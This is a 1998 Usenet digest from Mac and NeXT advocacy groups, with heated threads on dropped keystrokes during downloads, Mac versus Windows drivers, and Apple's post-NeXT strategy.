References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <casper-0808980633340001@acorn-a-40.oakmont.nb.net> <35cc74c <35ce0977.23478415@news.iafrica.com> <6qmui8$1aa@newsb.netnews.att.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Organization: "CalWeb Internet Services Inc. Your affordable ISP."
On 10 Aug 1998 14:02:48 GMT, gupta@kcopsrm.tm.tta.moc-mirror after @
wrote:
>Really ? Isn't MS's position (going to be that) IIS is an integrated part
>of the OS ?
>
>-arun gupta
No, dummy. IIS is a web server. It only runs on NT. Don't they
teach Mac users the difference between browsers and servers?
Let me explain: You use a BROWSER to view web pages that are dished
up by a SERVER. Okay, got that?
Let's review.
The browser runs on YOUR computer. The web server runs on THEIR
computer. Ok??
Scott
.................................................
Please edit the email address to reply
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 09:12:06 -0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-1308980912070001@pm1-30.ile.infi.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Right nowI am downloading while I write this. I am prposefully not
> editing the errors, the ones that are the focus of this flame at least
> (including the last word in the subject, add a "c". Thes errors you see
> are not typoes, they are chaacters that dont show up for some reason,
> related to the download going on now. In mt newswatcher it actually isnt
> hat bad. But it was much worse in claris emailer (which prompted me to
> write this post). In this message, a couple of characters that I did type
> didnt show up because of the upload going o in the background, emailer was
> much much worse. This is simply unacceptable.
>
> This is a g3 233, with 96 megs of ram, and running 8.5b5c2
Strange...on my Performa 6360/160 (MacOS 8.1), I'm almost always
downloading a file in the background with Netscape or Netfinder while I
browse the newsgroups. It has never affected other applications in terms
of input from the keyboard as you claim. Netscape is affected, but only
when dowloading and formatting a web page (I believe this is an internal
'feature' accessible via Netscapes internal prefs. Supposedly offers
higher internet performance at a cost to the user interface). Whenever
connected to the internet, however, there is a noticable delay in window
redraws. I have always attributed this to the fact that my modem is
software driven.
For reference: I have a 33.6 Express Modem (software driven), 32 megs of
real RAM, VM is off, a 160 Mhz 603e processor (No L2 cache, 32k of L1
cache), 40Mhz system bus, and running MacOS 8.1. I use Netscape Navigator
4.05, NetFinder 1.2, and MT NewsWatcher 2.4.4. Connection to the internet
is achieved via PPP protocol driven by FreePPP 2.6.2 and OpenTransport
1.3.1
Now, I'm not saying that your dilemma was falsified, but this does show
that such behaviour from the keyboard (in terms of affecting all
applications) is not resultant on *all* Macs.
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: td@twics.com (Troy Dawson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 21:52:50 +0900
Organization: tdi
Message-ID: <td-1308982152540001@ppp34-max01.twics.com>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
In article <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>, macghod@concentric.net (Steve Sullivan) wrote:
> Right nowI am downloading while I write this. I am prposefully not
> editing the errors, the ones that are the focus of this flame at least
> (including the last word in the subject, add a "c". Thes errors you see
> are not typoes, they are chaacters that dont show up for some reason,
> related to the download going on now. In mt newswatcher it actually isnt
> hat bad. But it was much worse in claris emailer (which prompted me to
> write this post). In this message, a couple of characters that I did type
> didnt show up because of the upload going o in the background, emailer was
> much much worse. This is simply unacceptable.
>
> This is a g3 233, with 96 megs of ram, and running 8.5b5c2
Right now I am downloading while I write this. I am purposefully not
editing the errors, the ones that apparently aren't showing up
like our friend's above.
I'm using MT Newswatcher 2.4, not Claris Emailer package, which
suggests to me the bug report should be directed to, uh, whatever
company runs Claris now. Anyway, everything is plenty fine here.
This is a 7500/293 with plenty of RAM, running 8.5a8.
=td=
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: 13 Aug 1998 14:36:10 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1308981035460001@pm61-42.magicnet.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <td-1308982152540001@ppp34-max01.twics.com>
td@twics.com (Troy Dawson) wrote:
> Right now I am downloading while I write this. I am purposefully not
> editing the errors, the ones that apparently aren't showing up
> like our friend's above.
Just ignore Macdhud. He's been posting all sorts of false and misleading
crap about Macs for years, and almost everything he's ever "found" has
been due to his own incompetence with or intentional misuse of Macs.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: tapella@pasteur.fr (Tapella)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 17:14:50 +0200
Organization: Institut Pasteur, Paris
Message-ID: <tapella-1308981714500001@22w2-1.dyn.pasteur.fr>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
NNTP-Posting-Date: 13 Aug 1998 15:09:33 GMT
In article <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> Right nowI am downloading while I write this. I am prposefully not
> editing the errors, the ones that are the focus of this flame at least
> (including the last word in the subject, add a "c". Thes errors you see
> are not typoes, they are chaacters that dont show up for some reason,
> related to the download going on now. In mt newswatcher it actually isnt
> hat bad. But it was much worse in claris emailer (which prompted me to
> write this post). In this message, a couple of characters that I did type
> didnt show up because of the upload going o in the background, emailer was
> much much worse. This is simply unacceptable.
>
> This is a g3 233, with 96 megs of ram, and running 8.5b5c2
I think this sometimes happens if you have File Sharing active. If you are
connected to the net through AppleTalk, that might do it as well (I know
that they connect the computers here to the main network via AppleTalk...
which is rather braindead if you ask me... talk about destroying bandwidth).
The other possibility is that your beta OS is poorly allocating processor
time among programs. For me, the only time that the computer really starts
getting choppy is when files are being transferred to/from it via AppleTalk.
If you're connected via a modem, and this happens with all programs, I
have no idea. Maybe you just can't type ;)
-Rob.
From: nhughes@sunflower.com (nate)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Date: Thu, 13 Aug 1998 15:07:17 GMT
Organization: KU
Message-ID: <35d30074.24607984@198.0.0.100>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 13 Aug 1998 15:10:44 GMT
On Thu, 13 Aug 1998 01:14:15 -0700, macghod@concentric.net (Steve
Sullivan) wrote:
>Right nowI am downloading while I write this. I am prposefully not
>editing the errors, the ones that are the focus of this flame at least
>(including the last word in the subject, add a "c". Thes errors you see
>are not typoes, they are chaacters that dont show up for some reason,
>related to the download going on now. In mt newswatcher it actually isnt
That's pretty bad. If doing something as common as downloading caused
my newsreader to drop letters I type, I think I'd be looking for a
better computer.
>This is a g3 233, with 96 megs of ram, and running 8.5b5c2
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 11:18:33 -0400
Organization: none
Message-ID: <id_est-1308981118340001@192.168.1.3>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com>
In article <35e6e291.28365146@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Wed, 12 Aug 1998 15:00:50 -0700, gmgraves@slip.net (George Graves)
> wrote:
>
> >
> >OK, how many of those "many times" that you have installed Windows have you
> >had to make a boot floppy which recognized your CD-ROM drive? With the Mac,
> >you NEVER have to do that!. How many times have you had to cast
endlessly about
> >looking for the latest hardware drivers for Windows? ("ya can gettum at our
> >website". Fine. If I had a working computer, I could go to your bloody web
> >site,
> >but you see, I'M INSTALLING THE GODDAMN SYSTEM, AND IT WANTS UPDATED MODEM
> >DRIVERS! Now how the hell am I supposed to go to your goddam website?)
> >This never
> >happens with a Mac.
> >
>
> Why, because the Mac is smart enough to automatically update the
> installation software to include new drivers, or because no one makes
> new hardware for it or writes new drivers so you don't have to worry
> about it?
Actually the difference is that most hardware on a mac will work with the
generic drivers but it will work less that optimally. This is also true of
some windows hardware. It is just more often true of Mac hardware. It is
less likely that the machine will not start and function more or less
properly than with a windows box. A few examples. I have an old Dell P75.
The WinNT installation killed itself. I need to reinstall it. I have no
idea where the original disks (win3.1) are that came with the system are.
I didn't happen to have my NT boot floppies at that location. I have lots
of old Win 3.1 disks and Win95 CD's and WinNT CD's. Under a genric Win3.1
install it doesn't recognize that there is a CD-ROM (I need its driver) so
The machine is temporarily a doorstop. On a Mac this virtually never
happens. The built in CD is always recognized and can be booted from.
There are a few rare instances with external 3rd party CD ROMS where it
wouldn't be recognized without drivers but this happens very rarely.
Another one. I have an old Logitech mouse that I wanted to use on a
Windows PC laptop. When it is plugged in. It doesn't work. It needs to
have drives loaded for it to work. On a Mac when I plug in another old
logitech mouse into a mac it just works. The other two buttons don't work
without the driver but the mouse and the primary button work. As I said
working, but less than optimally.
In my experience one of the main differences in practice between a
windows PC and a Mac is that if something goes wrong a Windows PC will
simply stop working whereas a Mac will keep working but less that
optimally (Slow, Crash prone, some functionality lost etc). I don't know
which is better. It means that a Mac can always get work done but there
are a lot of Macs out there that are limping along in a half crippled
state, giving a lot of people a bad impression of how well macs work,
whereas most (windows) PC's are pretty much configured properly as they
dont work at all if they aren't. That is just my experience with various
machines
From: asiufy@uol.com.br (Alexandre A. S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 11:49:58 -0300
Organization: Oi!
Message-ID: <asiufy-1308981150270001@200.229.243.209>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com>
Mail-Copies-To: asiufy@uol.com.br
r9;SSdvI;]1VVf
In article <35e6e291.28365146@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
> On Wed, 12 Aug 1998 15:00:50 -0700, gmgraves@slip.net (George Graves)
> wrote:
>
> >
> >OK, how many of those "many times" that you have installed Windows have you
> >had to make a boot floppy which recognized your CD-ROM drive? With the Mac,
> >you NEVER have to do that!. How many times have you had to cast
endlessly about
> >looking for the latest hardware drivers for Windows? ("ya can gettum at our
> >website". Fine. If I had a working computer, I could go to your bloody web
> >site,
> >but you see, I'M INSTALLING THE GODDAMN SYSTEM, AND IT WANTS UPDATED MODEM
> >DRIVERS! Now how the hell am I supposed to go to your goddam website?)
> >This never
> >happens with a Mac.
> >
>
> Why, because the Mac is smart enough to automatically update the
> installation software to include new drivers, or because no one makes
> new hardware for it or writes new drivers so you don't have to worry
> about it?
>
> Scott
>
No, you idiot. You can't compare Windoze to MacOS. You install
Windoze, and it has at least a million different variations of a possible
PC configuration (sound card, video card, etc etc), while Macs have just a
handful of alternatives, which makes it easy for system installers to
"foresee" all those possibilities, and install everything needed for that
specific system.
Now, the question is: do you want to live on the world of PCs,
where countless crappy video cards exist, driving Windows nuts with buggy
drivers, or do you want simple, efficient cards that can be used
flawlessly with Macs? I need choice, but I don't need 100s of cards to
choose from. Sometimes too much competition can make things screwy, hence
the current situation of the PC market, where vendors struggle to put
hardware out the door, and neglect development of their drivers.
--
---
ciao!
asiufy@uol.com.br
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
References: <6ogco6$8ma$1@hole.sdsu.edu> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <kindall-1208980036180001@nic-c41-094.mw.mediaone.net> <35d12ca0.0@news.depaul.edu> <prink-ya02408000R1308980040290001@news.abs.net> <6quak2$a3o$1@nnrp1.dejanews.com>
Message-ID: <35d30cef.0@news.depaul.edu>
Date: 13 Aug 98 15:57:35 GMT
In comp.sys.next.advocacy quinlan@intergate.bc.ca wrote:
> In article <prink-ya02408000R1308980040290001@news.abs.net>,
> prink@DIESPAM!bcpl.net (Philip Rink Jr.) wrote:
> > Couldn't this also be a way of attracting new application developers by
> > giving them a "clean slate"? Apple's saying, "look, here's a new OS, new
> > API's, hot new processors, and don't worry about having to make it
> > compatible with every Mac ever made." Sounds like a good deal for them.
> Nope. Applications developers don't care much about the underlying hardware.
Depends on the application. Some do, some don't. There seem to be
plenty of reports of Mac apps breaking on a particular hardware
model or configuration.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon%at%exnext%dot%com
From: David Griffiths <dave@prim.demon.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: Thu, 13 Aug 1998 16:58:15 +0100
Message-ID: <35D30D17.B1021347@prim.demon.co.uk>
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com>
<Ex9uJH.ry@T-FCN.Net> <SCOTT.98Aug7113105@slave.doubleu.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Scott Hess wrote:
> So Apple has also hired the OSF people that implemented STREAMS in the
> Mk7.3 kernel? Or are they using the same engineers from NeXT which
> have spend most of their time with the BSD4.3 and 4.4 stuff?
I worked on a project where we merged STREAMS with BSD sockets. Just
three or four of us with no prior experience working for a tiny company.
A little messy, but not exactly rocket science. Shouldn't be a problem
for Apple's kernel hackers.
Dave
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: A flame of the ma
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: Thu, 13 Aug 1998 12:05:56 -0400
Organization: phenix@interpath.com
Message-ID: <1ddp835.hkzuqf23dghaN@roxboro0-054.dyn.interpath.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.mac.comm Steve Sullivan <macghod@concentric.net> wrote:
> Right nowI am downloading while I write this. I am prposefully not
> editing the errors, the ones that are the focus of this flame at least
> (including the last word in the subject, add a "c". Thes errors you see
> are not typoes, they are chaacters that dont show up for some reason,
> related to the download going on now. In mt newswatcher it actually isnt
> hat bad. But it was much worse in claris emailer (which prompted me to
> write this post). In this message, a couple of characters that I did type
> didnt show up because of the upload going o in the background, emailer was
> much much worse. This is simply unacceptable.
>
> This is a g3 233, with 96 megs of ram, and running 8.5b5c2
Tell you what, I've never experienced this with either my IIfx or C650
w/PPC card using Sys7.6 and 8.1 respectively, - so I'll trade you either
one for your g3. Now I know this is quite a sacrifice, but it's one
that I feel I can make (being the nice guy that I am), so don't feel
guilty about taking advantage of my better nature, I'll even pay
shipping.
--
John Moreno
Date: Thu, 13 Aug 1998 12:14:27 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-1308981214270001@0.0.0.0>
References: <6ogco6$8ma$1@hole.sdsu.edu> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <joe.ragosta-0408981649060001@wil36.dol.net> <6q8abf$nvs$1@nnrp1.dejanews.com> <35d39589.146319500@news.mindspring.com> <jbg-1108981259520001@green.sdc.cs.boeing.com> <kindall-1208980036180001@nic-c41-094.mw.mediaone.net> <35d12ca0.0@news.depaul.edu> <prink-ya02408000R1308980040290001@news.abs.net> <6quak2$a3o$1@nnrp1.dejanews.com> <35d30cef.0@news.depaul.edu>
In article <35d30cef.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy quinlan@intergate.bc.ca wrote:
> > In article <prink-ya02408000R1308980040290001@news.abs.net>,
> > prink@DIESPAM!bcpl.net (Philip Rink Jr.) wrote:
>
> > > Couldn't this also be a way of attracting new application developers by
> > > giving them a "clean slate"? Apple's saying, "look, here's a new OS, new
> > > API's, hot new processors, and don't worry about having to make it
> > > compatible with every Mac ever made." Sounds like a good deal for them.
>
> > Nope. Applications developers don't care much about the underlying hardware.
>
> Depends on the application. Some do, some don't. There seem to be
> plenty of reports of Mac apps breaking on a particular hardware
> model or configuration.
"Plenty"? I guess that depends on what you mean by plenty.
In general, the applications which break fall into a couple of categories:
1. Applications which write directly to hardware--such as RAM Doubler,
Speed Doubler, etc.
2. Applications which play funky games with the OS (such as INITs).
3. Applications which use their own tools rather than using the Mac
Toolbox. This category includes apps from Microsoft.
In general, though, the problems are relatively rare. I've had no problem
dragging my entire System folder to a new hard drive and running it on
another Mac many times. Even if the target Mac is newer, all you need to
do is update the System software and rarely do you need to replace apps.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: Thu, 13 Aug 1998 11:11:44 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D31040.A87A3529@ericsson.com>
References: <0Q0A1.21246$7k7.19874803@news.rdc1.sdca.home.com> <35D0BB31.C59D68BD@ericsson.com>
<j37A1.21801$7k7.20104944@news.rdc1.sdca.home.com> <35D1C357.7B580353@ericsson.com> <KpuA1.22574$7k7.20807120@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
rr6013@yahoo.com wrote:
> I'm pitifully trying to draw a picture in words of the "box" Apple has built
> themselves into by exhalting the Macintosh brand above the Apple brand. By
> choosing the MacOS X name for a carbonated Rhapsody AND killing it on Intel
> after v1.0, the Apple brand was upstaged. Apple couldn't drive it's own
> technology wagon with its position of leadership. Only Macintosh could steer
> the technology course. It will go down as a benchmark event.
Well, I don't agree on the basis of my opinion alone. I think it's right
that you brought up the example of Steve Jobs transforming NeXT's
business model from hardware to software.
Let me illustrate: back in 1993 JLG wrote an editorial for MacWEEK
describing his opinion that Jobs was making a mistake by sticking to
hardware. He laid out the business case for hardware agnosticism and
seemed to really "get it". It was a matter of principle, not of
measuring "where are we now?". I've often since thought it was funny
that JLG, of all people, "got it" before Steve Jobs did. Of course, Jobs
got it that same year when he moved NeXT to a software business, and JLG
did the same thing with Be in recent days.
So amid all of this, why is Jobs making this mistake with Apple? You may
say "moving to software is a long-term business", I would be quick to
answer that there are no indications that anything of the sort has even
begun at Apple. The introduction of the iMac may be great news for Apple
as a hardware company, but it's extremely disturbing for Apple as a
software company.
I complained in my whiny voice for months when Apple announced its
Rhapsody decision. Why, in a world dominated by Microsoft OSes on the
desktop and UNIX OSes in the enterprise, was Apple continuing to walk
into the squeeze-play with a *brand-new* strategy? It is *so* ironic
that the platform-agnostic, enterprise-level, development-oriented,
highly-advanced technology Apple acquired from NeXT is the foundation of
an OS-level, hardware-specific, consumer-oriented, Carbon-based
strategy. Can someone explain how we got here?
Why can't Apple become a provider of enterprise-level software in the
vein of the OPENSTEP APIs? Why can't Apple take its super-pow-bang
weapon and hit every OS vendor right where it hurts until they decide to
partner with Apple because Apple gives them that way out? Instead Apple
has bet all of its chips on a proven losing strategy.
[cut]
> I have plenty of cynicism of my own so I'll not pile on... But I don't recall
> Apple having _anything_ upon which to build the next "thing" big or not. So
> I can't fault starting with OPENSTEP cum Rhapsody carbonated MacOS X. And in
> the final analysis, the end product that is MacOS X is what they needed to do
> at Rhapsody inception. They couldn't see the Mac userbase needs jumping into
> the project design from the NeXT shop. They had their technology, their
> vision and it cost them 2 yrs, brand independence and the leadership throne.
> I don't like my OS warmed over, flavored with Mac syrup and carbonated. But
> that's how it went down...
I'm sorry for being so personal; it's obviously not your fault.
> I opened my eyes 6 mos. ago.
You're right; it's boorish of me to say things like that.
> They aren't doing anything else. As much as I
> would like them to seize the initiative, attack the MS opportunity and remake
> Apple into the greatest comeback story in capitalist history, it ain't gonna
> happen that way. This is a long, slow process. It is not going to be a high
> profile, hotswap power grab at the PC unfaithful.
Maybe I'm just young enough to think that way. Or maybe I just feel
that's the only way left open. I thought, as recently as Amelio's reign,
that a slow, gradual, even-handed comeback was possible. With Jobs
tearing holes and starting revolutions, it seemed like the only way to
survive the chaos was for wonderful things to happen quickly. Instead
we've got a slow comeback with lots of chaos. I don't understand!
[cut]
> Your point is defensible. I meant that every Mac shop I talked with prior to
> WWDC96 had their eye on either a new PowerComputing box or new Moto machine.
Yes, it boils down to personal experience. I didn't mean to say that my
experience was normative or authoritative.
> Nah, there are plenty of souls to be sold the Apple "computer for the rest of
> us". Firstime buyers, Internet newcomers and little minds of mush... I
> think they have plenty of market to play with, build and grow their base.
> Its my problem that its not the market demographics to which I belong or
> would ever join.
I know that, but simply having a market doesn't count for much anymore
in the high-stakes OS industry.
[cut]
> Its my
> read that iMac was SJ's response to "how do we repair the damage". New
> machine, new market, new customers, new lease on Life...
I really don't think it's new. I watched the Performa introduction with
wide eyes; I heard the predictions of "massive sales" to "Sears buyers,
YES buyers, Lechmere buyers", etc. The Performa was the machine that
would steal the PC market from IBM and its clones.
Instead the Performa just made PCs look good, and drove established Mac
buyers toward high-margin, expensive Macs. In the short-term, this
pleased Apple because it raised margins, but in the long term nothing
could have hurt the company more.
And nothing caused the massive $600+ million loss in January 1996 more
than poor Performa market forecasting. Let me say this: if Apple isn't
careful with its new iMac baby, it will wind up in a world of hurt, and
I am not going to shed a single tear. This happened before, dammit!
> > No, it can't. But that's just opinion.
>
> It'd be fun to put that one up for a vote here...
I agree...lots of fertile ground for discussion on that.
> WAG Apple made that prediction way back when NeXT was chosen over Be.
I know, I'm one of the evil naysayers I used to lampoon so happily.
Times change.
MJP
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A flame of the ma
Date: 13 Aug 1998 16:12:04 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6qv38k$fe0$1@news.spacelab.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <td-1308982152540001@ppp34-max01.twics.com> <cirby-1308981035460001@pm61-42.magicnet.net>
[ ...newsgroups trimmed... ]
cirby@magicnet.net (Chad Irby) wrote:
>td@twics.com (Troy Dawson) wrote:
>
>> Right now I am downloading while I write this. I am purposefully not
>> editing the errors, the ones that apparently aren't showing up
>> like our friend's above.
>
>Just ignore Macdhud. He's been posting all sorts of false and misleading
>crap about Macs for years, and almost everything he's ever "found" has
>been due to his own incompetence with or intentional misuse of Macs.
A computer system losing keystrokes is not "user incompetence" and it's not
"intentional misuse", it's due to some flaw in computer system. A properly
designed system will never, _ever_ lose keystrokes under normal operating
conditions.
Properly designed systems buffer at least one key event (if not more) in
hardware, generate an interrupt at high priority, and have the CPU service
the interrupt and queue the keyboard event within a reasonable amount of
time-- a few milliseconds.
This problem sounds like something like that modem driver, (possibly one
where the host computer CPU does all the work like a "WinModem"?) is
disabling interrupts for far too long.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: A flame of the ma
Date: 13 Aug 1998 16:15:39 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6qv3fb$fe0$2@news.spacelab.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <tapella-1308981714500001@22w2-1.dyn.pasteur.fr>
tapella@pasteur.fr (Tapella) wrote:
[ ... ]
>I think this sometimes happens if you have File Sharing active. If you are
>connected to the net through AppleTalk, that might do it as well (I know
>that they connect the computers here to the main network via AppleTalk...
>which is rather braindead if you ask me... talk about destroying bandwidth).
If this is the case, then there's a design flaw in the interrupt handling or
a severe problem in the AppleTalk implementation.
>The other possibility is that your beta OS is poorly allocating processor
>time among programs.
Nope. Servicing keyboard interrupts is orthogonal to the scheduling
algorithm and how processor time gets allocated to programs.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel,comp.os.ms-windows.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Thu, 13 Aug 1998 09:31:32 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3>
In article <id_est-1308981118340001@192.168.1.3>, id_est@interport.net
(tse_di) wrote:
> In article <35e6e291.28365146@news.calweb.com>,
> hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
>
> > On Wed, 12 Aug 1998 15:00:50 -0700, gmgraves@slip.net (George Graves)
> > wrote:
> >
> > >
> > >OK, how many of those "many times" that you have installed Windows have you
> > >had to make a boot floppy which recognized your CD-ROM drive? With
the Mac,
> > >you NEVER have to do that!. How many times have you had to cast
> endlessly about
> > >looking for the latest hardware drivers for Windows? ("ya can gettum
at our
> > >website". Fine. If I had a working computer, I could go to your bloody web
> > >site,
> > >but you see, I'M INSTALLING THE GODDAMN SYSTEM, AND IT WANTS UPDATED MODEM
> > >DRIVERS! Now how the hell am I supposed to go to your goddam website?)
> > >This never
> > >happens with a Mac.
> > >
> >
> > Why, because the Mac is smart enough to automatically update the
> > installation software to include new drivers, or because no one makes
> > new hardware for it or writes new drivers so you don't have to worry
> > about it?
>
> Actually the difference is that most hardware on a mac will work with the
> generic drivers but it will work less that optimally.
This is complete bullshit.
George Graves
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.comm,comp.sys.next.advocacy,comp.sys.mac.system
From: nospam@devnull.com (Hath)
Subject: Re: A flame of the ma
Organization: The WebDragon
Message-ID: <nospam-1308981332060001@dhack3-176.cybernex.net>
References: <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <35d30074.24607984@198.0.0.100>
Date: Thu, 13 Aug 1998 17:32:02 GMT
In article <35d30074.24607984@198.0.0.100>, nhughes@sunflower.com (nate) wrote:
> On Thu, 13 Aug 1998 01:14:15 -0700, macghod@concentric.net (Steve
> Sullivan) wrote:
>
> >Right nowI am downloading while I write this. I am prposefully not
> >editing the errors, the ones that are the focus of this flame at least
> >(including the last word in the subject, add a "c". Thes errors you see
> >are not typoes, they are chaacters that dont show up for some reason,
> >related to the download going on now. In mt newswatcher it actually isnt
>
